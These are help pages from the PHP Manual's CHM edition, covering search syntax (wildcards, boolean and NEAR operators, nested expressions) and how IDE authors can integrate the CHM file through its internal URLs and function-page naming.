If you are searching for a file name with an extension, you should group the entire string in double quotes, ("filename.ext"). Otherwise, the period will break the file name into two separate terms. The default operation between terms is AND, so you will create the logical equivalent to "filename AND ext."

User Contributed Notes

There are no user contributed notes for this page.


Searching for words or phrases

You can search for words or phrases and use wildcard expressions. Wildcard expressions allow you to search for one or more characters using a question mark or asterisk. The table below describes the results of these different kinds of searches.

Word and phrase searches
Search for | Example | Results
A single word | select | Topics that contain the word "select". (You will also find its grammatical variations, such as "selector" and "selection".)
A phrase | "new operator" or new operator | Topics that contain the literal phrase "new operator" and all its grammatical variations. Without the quotation marks, the query is equivalent to specifying "new AND operator," which will find topics containing both of the individual words, instead of the phrase.
Wildcard expressions | esc* or HT?? | Results for the first example include topics that contain the terms "ESC", "escape", "escalation", and so on. The asterisk cannot be the only character in the term. Results for the second example include topics that contain the terms "HTTP", "HTML" and so on. The question mark cannot be the only character in the term.

Замечание:

Select the Match similar words check box to include minor grammatical variations for the phrase you search. This feature only locates variations of the word with common suffixes. For example, a search on the word "add" will find "added," but it will not find "additive". This option is independent of other options or syntax. If you do a titles-only search, variations in titles will be matched. If you use quotes (or any other query operator) any variation of the word can appear; for example, "stemmed search" will also match "stemming search".

User Contributed Notes

There are no user contributed notes for this page.


Defining search terms

The AND, OR, NOT, and NEAR operators enable you to precisely define your search by creating a relationship between search terms. The following table shows how you can use each of these operators. If no operator is specified, AND is used. For example, the query "server cgi security" is equivalent to "server AND cgi AND security".

Search operators
Search for | Example | Results
Both terms in the same topic | http AND apache | Topics containing both the words "http" and "apache".
Either term in a topic | ming OR swflib | Topics containing either the word "ming" or the word "swflib" or both.
The first term without the second term | xml NOT expat | Topics containing the word "xml" but not the word "expat".
Both terms in the same topic, close together | database NEAR security | Topics containing the word "database" within eight words of the word "security".

Замечание:

The |, &, and ! characters can also be used in place of OR AND and NOT respectively. This may not work if you use a very old version of the viewer.

User Contributed Notes

There are no user contributed notes for this page.


Using nested expressions when searching

Nested expressions allow you to create complex searches for information. For example, "html AND ((smtp OR pop3) NEAR mail)" finds topics containing the word "html" along with the words "smtp" and "mail" close together, or containing "html" along with the words "pop3" and "mail" close together.

The basic rules for searching help topics using nested expressions are as follows:

  • You can use parentheses to nest expressions within a query. The expressions in parentheses are evaluated before the rest of the query.
  • If a query does not contain a nested expression, it is evaluated from left to right. For example: "mail NOT pop3 OR smtp" finds topics containing the word "mail" without the word "pop3" or topics containing the word "smtp". On the other hand, "mail NOT (pop3 OR smtp)" finds topics containing the word "mail" without either of the words "pop3" or "smtp".
  • You cannot nest expressions more than five levels deep.

User Contributed Notes

There are no user contributed notes for this page.


Integrating the PHP Manual

Замечание:

The information provided here is mainly aimed at IDE authors, or advanced users who would like to integrate this CHM file to their favorite IDEs or other production environment components.

There are several editors out there with support for CHM integration, but you may need to know a few things about what the CHM contains to successfully integrate the manual into your environment.

The CHM is built using XSL style sheets from XML sources. This is unique currently in the PHP Manual family, as all other versions are generated using DSSSL style sheets. This also means, that non-intentional rendering differences may come up. A special conversion script is run on the XSLT output, adding several cute features, and packing up the manual with the preferences files and skin examples.

If you never worked with CHMs, you can think of them as compressed files with OS supported access for files inside and some added search and index support. However CHMs can only be viewed using the HTML Help Viewer, you can directly access files inside them using a special URL prefix, the CHM file name and the file you request from inside. As all the help content is stored in HTML files, you can show pages of the CHM in Internet Explorer.

Assume that you placed your php_manual_en.chm to c:\phpmanual the index file in the manual (which you see the first time) can be accessed with the following URL: mk:@MSITStore:C:\phpmanual\php_manual_en.chm::/_index.html. Here mk:@MSITStore: is the special "protocol", C:\phpmanual\php_manual_en.chm is the CHM with it's full path. The /_index.html part is the path to the index file inside the CHM and :: is just what you need to put between the CHM path and this file path.

Замечание:

All files are in the root directory of the CHM, unlike the previous CHM versions which included a language directory. Images, style sheets and other supplemental files have names starting with an underscore (like the main index shown above), to avoid name collisions.

The names of generated files follow the same rules as the online manual, except that the extension is .html and not .php. The most important is that function documentation files are named function.FUNCNAME.html where FUNCNAME is the function name, with all underscores converted to hyphens. Some examples are function.echo.html, function.mysql-close.html, function.imagecopy.html.

Using all this information, you can show a manual page for a function requested by a user. A simple example is included in the distribution, named php_quickref.hta. This is a » HTML Application to demonstrate the simple process of showing a manual page for a function. The quickRef() function defined therein does the job.

If you would like to integrate the manual into an IDE without direct support for the PHP manual (actually the underscore to hyphen conversion), you can use the included _function.html file to access a function page. This file is simply a redirector, and can be parameterized via the URL, as _function.html#mysql_close. This page will redirect you to the mysql_close function page (function.mysql-close.html) automatically. You can provide the full path of this file if your IDE supports context sensitive help, and provide the IDE specified string as the parameter. An example for this is the UltraEdit 9 intergation (see the edition's website).

The index of the manual (accessible via the index tab on the navigation pane) can also be used for integrational purposes. All the HTML pages are included in the index with their titles as index terms (including function description pages).

If you are a desktop application developer and would like to tightly integrate the CHM into your program (such as displaying the TOC tree in your IDE's help box), you can find more information at » http://www.helpware.net/, as well as links to other useful resources. The official site for HTML Help is at » http://www.microsoft.com/download/en/details.aspx?id=21138.

User Contributed Notes

There are no user contributed notes for this page.